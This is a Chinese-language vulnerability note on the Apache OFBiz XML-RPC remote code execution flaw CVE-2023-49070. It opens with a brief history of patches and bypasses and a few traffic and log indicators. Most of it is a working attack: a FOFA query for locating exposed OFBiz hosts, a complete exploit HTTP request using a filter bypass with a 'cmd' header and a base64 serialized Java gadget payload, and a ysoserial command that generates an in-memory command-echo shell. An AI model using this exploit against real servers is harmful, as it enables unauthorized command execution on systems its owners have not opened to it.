Apache Ofbiz XML-RPC RCE漏洞-CVE-2023-49070

2020年，为修复 CVE-2020-9496 增加权限校验，存在绕过。2021年，增加 Filter 用于拦截 XMLRPC 中的恶意请求，存在绕过。2023年四月，彻底删除xmlrpc handler 以避免同类型的漏洞产生尽管主分支在四月份已经移除了XML-RPC组件，但在Apache OFBiz的正式发布版本中，仅最新版本18.12.10彻底废除了XML-RPC功能。

流量分析: 攻击者利用这个漏洞时，会发送包含用户名和密码的 HTTP 请求到 XML-RPC 接口。在网络流量中，这可能表现为对 /webtools/control/xmlrpc 的异常访问请求。

异常请求内容: 利用 Filter 绕过机制的请求可能包含不寻常的 URI 结构，如使用分号或路径穿越技术(./)。

特定的错误日志: 在尝试进行反序列化攻击时，可能会在日志中观察到相关错误或异常信息，尤其是与XML-RPC 组件相关的。

fofa

app="Apache_OFBiz"

poc

POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: ip:port
Sec-Ch-Ua: "Not=A?Brand";v="99", "Chromium";v="118"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd:ifconfig
Content-Length: 8906
​
<?xml version="1.0"?>
<methodCall>
  <methodName>RCE</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>RCE</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">   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aW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQARZ2V0RGVjbGFyZWRNZXRob2QBADh5c29zZXJpYWwvcGF5bG9hZHMvdGVtcGxhdGVzL1RvbWNhdENtZEVjaG8yODk5NDAyNzkyMzQwMAEAOkx5c29zZXJpYWwvcGF5bG9hZHMvdGVtcGxhdGVzL1RvbWNhdENtZEVjaG8yODk5NDAyNzkyMzQwMDsAIQBEAEUAAAAAAAQAAQBGAEcAAQBIAAAALwABAAEAAAAFKrcAAbEAAAACAEkAAAAGAAEAAAAJAEoAAAAMAAEAAAAFAEsBBAAAAAEATQBOAAIASAAAAD8AAAADAAAAAbEAAAACAEkAAAAGAAEAAABXAEoAAAAgAAMAAAABAEsBBAAAAAAAAQBPAFAAAQAAAAEAUQBSAAIAUwAAAAQAAQBUAAEATQBVAAIASAAAAEkAAAAEAAAAAbEAAAACAEkAAAAGAAEAAABcAEoAAAAqAAQAAAABAEsBBAAAAAAAAQBPAFAAAQAAAAEAVgBXAAIAAAABAFgAWQADAFMAAAAEAAEAVAAIAFoARwABAEgAAAXVAAgAEQAAAv0DO7gAArYAA0wrtgAEEgW2AAZNLAS2AAcsK7YACMAACcAACU4DNgQVBC2+ogLNLRUEMjoFGQXHAAanArkZBbYACjoGGQYSC7YADJoADRkGEg22AAyaAAanApsZBbYABBIOtgAGTSwEtgAHLBkFtgAIOgcZB8EAD5oABqcCeBkHtgAEEhC2AAZNLAS2AAcsGQe2AAg6BxkHtgAEEhG2AAZNpwAWOggZB7YABLYAE7YAExIRtgAGTSwEtgAHLBkHtgAIOgcZB7YABLYAExIUtgAGTacAEDoIGQe2AAQSFLYABk0sBLYABywZB7YACDoHGQe2AAQSFbYABk0sBLYABywZB7YACMAAFsAAFjoIAzYJFQkZCLkAFwEAogHLGQgVCbkAGAIAOgoZCrYABBIZtgAGTSwEtgAHLBkKtgAIOgsZC7YABBIaA70AG7YAHBkLA70AHbYAHjoMGQu2AAQSHwS9ABtZAxIgU7YAHBkLBL0AHVkDEiFTtgAewAAgOgYZBsYBVxkGtgAimgFPGQy2AAQSIwS9ABtZA7IAJFO2ABwZDAS9AB1ZA7sAJVkRAMi3ACZTtgAeVxInuAAotgApEiq2AAyZABkGvQAgWQMSK1NZBBIsU1kFGQZTpwAWBr0AIFkDEi1TWQQSLlNZBRkGUzoNuwAvWbsAMFkZDbcAMbYAMrYAM7cANBI1tgA2tgA3tgA4Og4SObgAOjoPGQ+2ADs6BxkPEjwGvQAbWQMSPVNZBLIAJFNZBbIAJFO2AD4ZBwa9AB1ZAxkOU1kEuwAlWQO3ACZTWQW7ACVZGQ6+twAmU7YAHlcZDLYABBI/BL0AG1kDGQ9TtgAcGQwEvQAdWQMZB1O2AB5XpwBOOg8SQbgAOjoQGRASQgS9ABtZAxI9U7YAPhkQBL0AHVkDGQ5TtgAeOgcZDLYABBI/BL0AG1kDGRBTtgAcGQwEvQAdWQMZB1O2AB5XBDsamQAGpwAJhAkBp/4vGpkABqcAEacACDoFpwADhAQBp/0ypwAES7EACACVAKAAowASAMMA0QDUABICEwKGAokAQAAuADkC7QBDADwAVwLtAEMAWgB6Au0AQwB9AucC7QBDAAAC+AL7AEMAAwBJAAAA/gA/AAAADQACAA4ACQAPABMAEAAYABEAJAASAC4AFAA0ABUAPAAWAEMAFwBaABgAZQAZAGoAGgByABsAfQAcAIgAHQCNAB4AlQAgAKAAIwCjACEApQAiALYAJAC7ACUAwwAnANEAKgDUACgA1gApAOEAKwDmACwA7gAtAPkALgD+AC8BDAAwARsAMQEmADIBMQAzATYANAE+ADUBVwA2AX0ANwGKADgBtQA5AfAAOgITADwCGgA9AiEAPgJkAD8ChgBEAokAQAKLAEECkgBCArIAQwLUAEUC1gBHAt0AMALjAEkC6gBMAu0ASgLvAEsC8gASAvgAUAL7AE8C/ABRAEoAAADUABUApQARAFsAXAAIANYACwBbAFwACAIaAGwAXQBeAA8CkgBCAF0AXgAQAosASQBfAGAADwHwAOYAYQBiAA0CEwDDAGMAZAAOASYBtwBlAGYACgE+AZ8AZwBmAAsBVwGGAGgAZgAMAQ8B1ABpAGoACQA0ArYAawBsAAUAQwKnAG0AbgAGAHICeABvAGYABwEMAd4AcABxAAgC7wADAFsAcgAFACcC0QBzAGoABAACAvYAdAB1AAAACQLvAHYAdwABABMC5QB4AHkAAgAkAtQAegB7AAMAfAAAAKgAF/8AJwAFAQcAfQcAfgcACQEAAPwAFAcAf/wAGgcAgAL8ACIHAIFlBwCCEl0HAIIM/QAtBwCDAf4AywcAgQcAgQcAgVIHAIT/AJoADwEHAH0HAH4HAAkBBwB/BwCABwCBBwCDAQcAgQcAgQcAgQcAhAcAPQABBwCF+wBK+QAB+AAG+gAF/wAGAAUBBwB9BwB+BwAJAQAAQgcAhgT/AAUAAAAAQgcAhgAAAQCHAAAAAgCIdXEAfgAQAAAB1Mr+ur4AAAAzABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAMcADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AAhSQ0JRQVBNUXB3AQB4cQB+AA14
              </serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

回显内存马

java -jar ysoserial-main-49888d3191-1.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho" | base64 | tr -d "\n"